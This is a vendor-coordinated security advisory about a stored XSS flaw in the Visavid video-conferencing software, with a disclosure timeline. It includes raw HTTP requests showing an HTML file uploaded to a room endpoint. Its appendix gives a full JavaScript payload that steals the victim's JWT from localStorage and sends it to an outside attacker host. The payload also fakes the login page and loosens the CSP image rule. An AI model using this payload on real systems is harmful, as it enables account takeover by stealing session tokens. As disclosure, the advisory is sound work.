Product: Visavid
Homepage: https://visavid.de/
Vulnerable version: Gateway 1.10.3, Verwaltung: 1.10.10
Fixed version: Gateway 1.10.3, Verwaltung: 1.10.14
CVSS Score: HIGH 8.0 - CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
Found:Apr 22, 2021

Product description

Kommunizieren, präsentieren, fortbilden: Unsere flexible Videokonferenz-Software ist von der Entwicklung bis zum Support zu 100 % Made in Germany und bietet neben Datenschutz und einem hohen Sicherheits-Level auch individuelle Anpassungsmöglichkeiten für unterschiedliche Einsatzbereiche.

Auctores - Visavid

Vulnerability overview

The software Visavid allows an room admin to upload files for the room. These uploaded files can then be accessed without authentication. As the content type/data of the uploaded file is not restricted, a HTML file with included JavaScript code can be uploaded. If the victim visits the URL the JWT can be accessed from the localStorage and sent back to the attacker, which allows full access to the account.

Proof of concept

The endpoint PUT /api/verwaltung/rooms/file/{ROOM-ID} allows an user to upload files to a room. As the content type/data is not restricted a HTML file with malicious JavaScript code can be uploaded. The result to this requests contains the resource URL (file.data.url), which can be used to access the file without authentication. This URL can then be sent to a victim. If the victim opens the URL and is logged in the JWT can be stolen.

The request to upload a HTML file:

PUT /api/verwaltung/rooms/file/6f735b70-27ee-41dc-a1df-778446f40fcc HTTP/1.1
Host: staging.visavid.de
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/hal+json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Bearer XXX
Content-Type: multipart/form-data; boundary=---------------------------266190233231735721582577257025
Content-Length: 2567
Origin: https://staging.visavid.de
DNT: 1
Connection: close

-----------------------------266190233231735721582577257025
Content-Disposition: form-data; name="id"

6f735b70-27ee-41dc-a1df-778446f40fcc
-----------------------------266190233231735721582577257025
Content-Disposition: form-data; name="file_file"; filename="extract-jwt.html"
Content-Type: text/html

<!DOCTYPE html>
<html lang="en">
<meta charset="UTF-8">
<title>Visavid - Stored XSS</title>

........

</html>
-----------------------------266190233231735721582577257025
Content-Disposition: form-data; name="view_initial"

false
-----------------------------266190233231735721582577257025
Content-Disposition: form-data; name="room_id"

{"id":"{ROOM-ID}"}
-----------------------------266190233231735721582577257025--

The response contains the resource URL, which is available without login:

{
    "file": {
        "data": {
            "id": "141f4e8fX178b54d7629XY7fa1",
            "url": "resources/466524208/141f4e8fX178b54d7629XY7fa1/ORG/extract-jwt.html",
            "name": "extract-jwt.html",
            "size": 1910,
            "alias": "default",
            "index": "visavid",
            "format": "ORG",
            "public": false,
            "imgWidth": 0,
            "mimeType": "text/html",
            "extension": "html",
            "imgHeight": 0,
            "timestamp": 1619090844873,
            "indexHashed": "466524208",
            "imgColorSpace": 0,
            "entityId": "6f735b70-27ee-41dc-a1df-778446f40fcc",
            "entityPath": "/rooms/file"
        },
        "url": "/api/verwaltung/rooms/file/6f735b70-27ee-41dc-a1df-778446f40fcc/blobs/3143036/{FORMAT}/extract-jwt.html"
    },
    "view_initial": false,
    "defaultvalue": "extract-jwt.html",
    "id": "6f735b70-27ee-41dc-a1df-778446f40fcc"
}

If the victim open the resource URL https://staging.visavid.de/resources/466524208/141f4e8fX178b54d7629XY7fa1/ORG/extract-jwt.html the JavaScript code is executed.

GET /resources/466524208/141f4e8fX178b54d7629XY7fa1/ORG/extract-jwt.html HTTP/1.1
Host: staging.visavid.de
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache


To demonstrate the impact a small JWT stealing PoC was created (full source in appendix). If the victim is already logged in the current JWT is sent back to the attacker. already logged in

Otherwise the normal login prompt is shown and the stealing function is called every two second until the user is logged in and the token is sent back. not logged in

After the user logged in: after login

Timeline

  • 2021-04-22: Sent report to vendor
  • 2021-04-23: Vendor acknowledged vulnerability
  • 2021-04-26: Vendor informed that the issue is fixed
  • 2021-04-27: Public release of security advisory

Reference

Appendix

<!DOCTYPE html>
<html lang="en">
<meta charset="UTF-8">
<title>Visavid - Stored XSS</title>
<style>
</style>
<body>    
    <div>
        Please wait while you are redirected....
    </div>
    <script>
        const EX_URL = "https://visavid.netlog-py.ml/token?v=";        
        var success = false;

        function exfiltrateToken(token) {
            console.log("JWT token: " + token);
            
            var b = document.getElementsByTagName("body")[0];
            var img = document.createElement("img");
            img.src = EX_URL + btoa(token)
            b.appendChild(img);

        }
        function steal() {

            if(!success) {
                var token = localStorage.getItem("_id_token");
                if( token) {                
                    exfiltrateToken(token);
                    success = true;
                    
                }                
            }
            return success;
        }        

        if( !steal()) {

            console.log("Loading login page, because steal failed.");
            var xhttp = new XMLHttpRequest();
            xhttp.onreadystatechange = function() {
                if (this.readyState == 4 && this.status == 200) {
                    window.history.pushState({"html":"","pageTitle":"Login"},"", "/app/login");
                    document.open("text/html");
                    var html = this.responseText.replace("img-src 'self' blob: data: cdn.visavid.de visavid.de", "img-src *");
                    document.write(html);                
                    document.close();
                }
            };
            xhttp.open("GET", "/app", true);
            xhttp.send();                        
            
            console.log("Setup steal callback");
            setInterval(steal, 2000);
        }
        
    </script>
</body>
</html>